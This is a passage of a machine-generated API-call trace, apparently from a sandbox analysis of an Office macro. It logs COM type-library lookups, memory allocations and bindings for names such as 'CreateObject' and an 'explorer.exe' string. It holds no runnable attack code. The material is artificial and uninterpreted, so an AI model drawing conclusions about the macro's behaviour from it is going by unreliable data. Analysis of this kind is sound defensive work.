[1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f39c8 | out: ppvObject=0xb5690f39c8*=0x0) returned 0x80004002 [0122.740] IUnknown:AddRef (This=0x2763c01e2d8) returned 0x4 [0122.740] IUnknown:Release (This=0x2763c01e2d8) returned 0x4 [0122.741] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3b28 | out: ppvObject=0xb5690f3b28*=0x0) returned 0x80004002 [0122.741] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3b20 | out: ppvObject=0xb5690f3b20*=0x0) returned 0x80004002 [0122.741] IUnknown:Release (This=0x2763c01f2f8) returned 0x1 [0122.741] IUnknown:AddRef (This=0x2763c01e2d8) returned 0x5 [0122.741] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e2d8, ppTypeAttr=0xb5690f3d78, pDummy=0x0 | out: ppTypeAttr=0xb5690f3d78, pDummy=0x0) returned 0x0 [0122.741] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e2d8) returned 0x0 [0122.741] IUnknown:Release (This=0x2763c01e2d8) returned 0x4 [0122.741] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb98bf0 [0122.741] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98bf0) returned 0x26d [0122.741] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98bf0) returned 0x26d [0122.741] GetCurrentProcess () returned 0xffffffffffffffff [0122.741] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb98bf0, dwSize=0x4c) returned 1 [0122.741] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb98bf0) [0122.741] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e2d8, ppTypeAttr=0xb5690f3310, pDummy=0x0 | out: ppTypeAttr=0xb5690f3310, pDummy=0x0) returned 0x0 [0122.741] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e2d8) returned 0x0 [0122.741] IUnknown:QueryInterface (in: This=0x2764b8e9708, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3e48 | out: ppvObject=0xb5690f3e48*=0x0) returned 0x80004002 [0122.741] IUnknown:QueryInterface (in: This=0x2764b8e9708, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3e50 | out: ppvObject=0xb5690f3e50*=0x0) returned 0x80004002 [0122.741] ITypeInfo:GetTypeComp (in: This=0x2764b8e9708, ppTComp=0xb5690f3e58 | out: ppTComp=0xb5690f3e58*=0x2764b8e9710) returned 0x0 [0122.742] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2765292bf80 [0122.742] IUnknown:AddRef (This=0x2764b8e9710) returned 0x3 [0122.742] IUnknown:Release (This=0x2764b8e9710) returned 0x2 [0122.742] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b7f87f0, cb=0x100) returned 0x2764b844680 [0122.742] IUnknown:Release (This=0x2764b8e9708) returned 0x1 [0122.742] IUnknown:Release (This=0x2764b8e9658) returned 0x2 [0122.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42d96, cbMultiByte=8, lpWideCharStr=0xb5690f3940, cchWideChar=9 | out: lpWideCharStr="Caption") returned 8 [0122.742] ITypeComp:RemoteBind (in: This=0x2764b8e9710, szName="Caption", lHashVal=0x407810, wFlags=0x3, ppTInfo=0xb5690f38f8, pDescKind=0xb5690f390c, ppFuncDesc=0xb5690f3910, ppVarDesc=0x0, ppTypeComp=0x27600000000, pDummy=0x0 | out: ppTInfo=0xb5690f38f8*=0x2764b8e9708, pDescKind=0xb5690f390c*=1, ppFuncDesc=0xb5690f3910, ppVarDesc=0x0, ppTypeComp=0x27600000000, pDummy=0x0) returned 0x0 [0122.742] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9708, ppTypeAttr=0xb5690f3900, pDummy=0x2764b6a1430 | out: ppTypeAttr=0xb5690f3900, pDummy=0x2764b6a1430*=0x0) returned 0x0 [0122.742] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9708) returned 0x0 [0122.742] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9708, ppTypeAttr=0xb5690f36b0, pDummy=0x0 | out: ppTypeAttr=0xb5690f36b0, pDummy=0x0) returned 0x0 [0122.742] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9708) returned 0x0 [0122.742] IUnknown:QueryInterface (in: This=0x2764b8e9708, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f3760 | out: ppvObject=0xb5690f3760*=0x2764b8e9708) returned 0x0 [0122.742] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2764b8e9708, memid=0, invkind=2, pFuncIndex=0xb5690f37a0 | out: pFuncIndex=0xb5690f37a0*=0xb) returned 0x0 [0122.742] ITypeInfo2:GetFuncCustData (in: This=0x2764b8e9708, index=0xb, GUID=0x7ff9be1d6f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xb5690f37b8 | out: pVarVal=0xb5690f37b8*(varType=0x0, wReserved1=0x0, wReserved2=0x276, wReserved3=0x0, varVal1=0xb5690f3860, varVal2=0xb5690f3940)) returned 0x0 [0122.742] IUnknown:Release (This=0x2764b8e9708) returned 0x2 [0122.742] IUnknown:AddRef (This=0x2764b8e9708) returned 0x3 [0122.742] ITypeInfo:LocalReleaseFuncDesc (This=0x2764b8e9708) returned 0x0 [0122.742] IUnknown:Release (This=0x2764b8e9708) returned 0x2 [0122.742] IUnknown:QueryInterface (in: This=0x2764b8e9708, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f39b8 | out: ppvObject=0xb5690f39b8*=0x0) returned 0x80004002 [0122.742] IUnknown:AddRef (This=0x2764b8e9708) returned 0x3 [0122.742] IUnknown:Release (This=0x2764b8e9708) returned 0x3 [0122.742] IUnknown:QueryInterface (in: This=0x2764b8e9708, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3b28 | out: ppvObject=0xb5690f3b28*=0x0) returned 0x80004002 [0122.743] IUnknown:QueryInterface (in: This=0x2764b8e9708, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3b20 | out: ppvObject=0xb5690f3b20*=0x0) returned 0x80004002 [0122.743] IUnknown:AddRef (This=0x2764b8e9708) returned 0x4 [0122.743] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9708, ppTypeAttr=0xb5690f3d78, pDummy=0x27666171904 | out: ppTypeAttr=0xb5690f3d78, pDummy=0x27666171904*=0x0) returned 0x0 [0122.743] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9708) returned 0x0 [0122.743] IUnknown:Release (This=0x2764b8e9708) returned 0x3 [0122.743] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb981f0 [0122.743] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb981f0) returned 0x26d [0122.743] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb981f0) returned 0x26d [0122.743] GetCurrentProcess () returned 0xffffffffffffffff [0122.743] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb981f0, dwSize=0x4c) returned 1 [0122.743] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb981f0) [0122.743] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9708, ppTypeAttr=0xb5690f3310, pDummy=0x0 | out: ppTypeAttr=0xb5690f3310, pDummy=0x0) returned 0x0 [0122.743] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9708) returned 0x0 [0122.743] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba58010 [0122.743] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa1b60, cb=0x100) returned 0x2764b842ae0 [0122.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42d96, cbMultiByte=8, lpWideCharStr=0xb5690f3890, cchWideChar=9 | out: lpWideCharStr="Caption") returned 8 [0122.743] malloc (_Size=0x58) returned 0x276527c95b0 [0122.743] free (_Block=0x276527c95b0) [0122.743] malloc (_Size=0x58) returned 0x276527c95b0 [0122.743] free (_Block=0x276527c95b0) [0122.743] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b700c50, cb=0x400) returned 0x2764b5101c0 [0122.744] IUnknown:Release (This=0x2763c01f2f8) returned 0x1 [0122.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42dbe, cbMultiByte=13, lpWideCharStr=0xb5690f39f0, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13 [0122.744] ITypeComp:RemoteBind (in: This=0x276454bf8b0, szName="CreateObject", lHashVal=0x408af8, wFlags=0x3, ppTInfo=0xb5690f39a8, pDescKind=0xb5690f39bc, ppFuncDesc=0xb5690f39c0, ppVarDesc=0x2764b608040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xb5690f39a8*=0x2764b533098, pDescKind=0xb5690f39bc*=1, ppFuncDesc=0xb5690f39c0, ppVarDesc=0x2764b608040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0122.744] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b533098, ppTypeAttr=0xb5690f39b0, pDummy=0x2764b6a1460 | out: ppTypeAttr=0xb5690f39b0, pDummy=0x2764b6a1460*=0x10000) returned 0x0 [0122.744] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b533098) returned 0x0 [0122.744] SysStringByteLen (bstr="") returned 0x0 [0122.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0xb5690f3720, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x808\x0fiµ", lpUsedDefaultChar=0x0) returned 0 [0122.744] IUnknown:QueryInterface (in: This=0x2764b533098, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f3750 | out: ppvObject=0xb5690f3750*=0x2764b533098) returned 0x0 [0122.744] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2764b533098, memid=1610612738, invkind=1, pFuncIndex=0xb5690f3748 | out: pFuncIndex=0xb5690f3748*=0x2) returned 0x0 [0122.744] ITypeInfo2:GetParamCustData (in: This=0x2764b533098, indexFunc=0x2, indexParam=0x1, GUID=0x7ff9be1d88b0*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0xb5690f3758 | out: pVarVal=0xb5690f3758*(varType=0x0, wReserved1=0x4b50, wReserved2=0x276, wReserved3=0x0, varVal1=0x2764b40aef0, varVal2=0xb5690f4468)) returned 0x0 [0122.744] IUnknown:Release (This=0x2764b533098) returned 0x1 [0122.744] IUnknown:QueryInterface (in: This=0x2764b533098, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f3810 | out: ppvObject=0xb5690f3810*=0x2764b533098) returned 0x0 [0122.744] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2764b533098, memid=1610612738, invkind=1, pFuncIndex=0xb5690f3850 | out: pFuncIndex=0xb5690f3850*=0x2) returned 0x0 [0122.744] ITypeInfo2:GetFuncCustData (in: This=0x2764b533098, index=0x2, GUID=0x7ff9be1d6f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xb5690f3868 | out: pVarVal=0xb5690f3868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb500000002, varVal2=0x408af8)) returned 0x0 [0122.744] IUnknown:Release (This=0x2764b533098) returned 0x1 [0122.744] IUnknown:AddRef (This=0x2764b533098) returned 0x2 [0122.744] ITypeInfo:LocalReleaseFuncDesc (This=0x2764b533098) returned 0x0 [0122.744] IUnknown:Release (This=0x2764b533098) returned 0x1 [0122.744] IUnknown:QueryInterface (in: This=0x2764b533098, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3ad8 | out: ppvObject=0xb5690f3ad8*=0x0) returned 0x80004002 [0122.744] IUnknown:AddRef (This=0x2764b533098) returned 0x2 [0122.744] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b880fc0, cb=0x80) returned 0x2763c00db80 [0122.744] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763a18e7b0, cb=0xa0) returned 0x2764ae5b230 [0122.745] IUnknown:Release (This=0x2764b533098) returned 0x2 [0122.745] IUnknown:QueryInterface (in: This=0x2764b533098, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3c48 | out: ppvObject=0xb5690f3c48*=0x0) returned 0x80004002 [0122.745] IUnknown:QueryInterface (in: This=0x2764b533098, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3c40 | out: ppvObject=0xb5690f3c40*=0x0) returned 0x80004002 [0122.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b50f54c, cbMultiByte=0, lpWideCharStr=0x27666172928, cchWideChar=2 | out: lpWideCharStr="") returned 0 [0122.745] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2764b533098, ppTLib=0xb5690f3480, pIndex=0x0 | out: ppTLib=0xb5690f3480*=0x276454bf8a0, pIndex=0x0) returned 0x0 [0122.745] ITypeLib:RemoteGetLibAttr (in: This=0x276454bf8a0, ppTLibAttr=0xb5690f3490, pDummy=0x0 | out: ppTLibAttr=0xb5690f3490, pDummy=0x0) returned 0x0 [0122.745] ITypeLib:LocalReleaseTLibAttr (This=0x276454bf8a0) returned 0x0 [0122.745] IUnknown:Release (This=0x276454bf8a0) returned 0x7 [0122.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2764b533098, memid=1610612738, invkind=1, refPtrFlags=0x690f3480, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x27644fa5cb0 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x27644fa5cb0*=0xf3f0) returned 0x0 [0122.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9be200b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0122.745] strcpy_s (in: _Dst=0x2764ba580d8, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0122.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2764b533098, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xb5690f3480, pBstrName=0x0, pwOrdinal=0xb5690f34a0 | out: pBstrDllName=0xb5690f3480*=0x0, pBstrName=0x0, pwOrdinal=0xb5690f34a0*=0x3710) returned 0x0 [0122.745] ITypeInfo:RemoteGetDllEntry (in: This=0x2764b533098, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xb5690f3480, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xb5690f3480, pwOrdinal=0x500000000) returned 0x0 [0122.745] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764bb7afd0 [0122.745] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb990f0 [0122.745] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb990f0) returned 0x26d [0122.745] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb990f0) returned 0x26d [0122.745] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb990f0) returned 0x26d [0122.745] GetCurrentProcess () returned 0xffffffffffffffff [0122.745] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb990f0, dwSize=0x4b) returned 1 [0122.745] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb990f0) [0122.745] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b703dd0, cb=0x400) returned 0x2764b5109e0 [0122.745] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b50bcb0, cb=0x800) returned 0x276529c59a0 [0122.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c60c, cbMultiByte=13, lpWideCharStr=0x27666173146, cchWideChar=28 | out: lpWideCharStr="explorer.exe ") returned 13 [0122.747] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0122.747] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f34b8 | out: ppvObject=0xb5690f34b8*=0x2764af387c8) returned 0x0 [0122.747] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f34c8 | out: pVarVal=0xb5690f34c8*(varType=0x0, wReserved1=0x690f, wReserved2=0xb5, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0122.747] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0122.747] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f34c0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f34e0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f34e0*="㠰椏µ") returned 0x0 [0122.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f33d0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0122.747] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0122.747] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f34c0, pDummy=0x0 | out: ppTypeAttr=0xb5690f34c0, pDummy=0x0) returned 0x0 [0122.748] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x0, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x1, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x2, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x3, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x4, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x5, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x6, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x10, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x11, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x12, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.748] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x13, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x14, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x15, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x16, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x17, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x18, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x19, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.749] 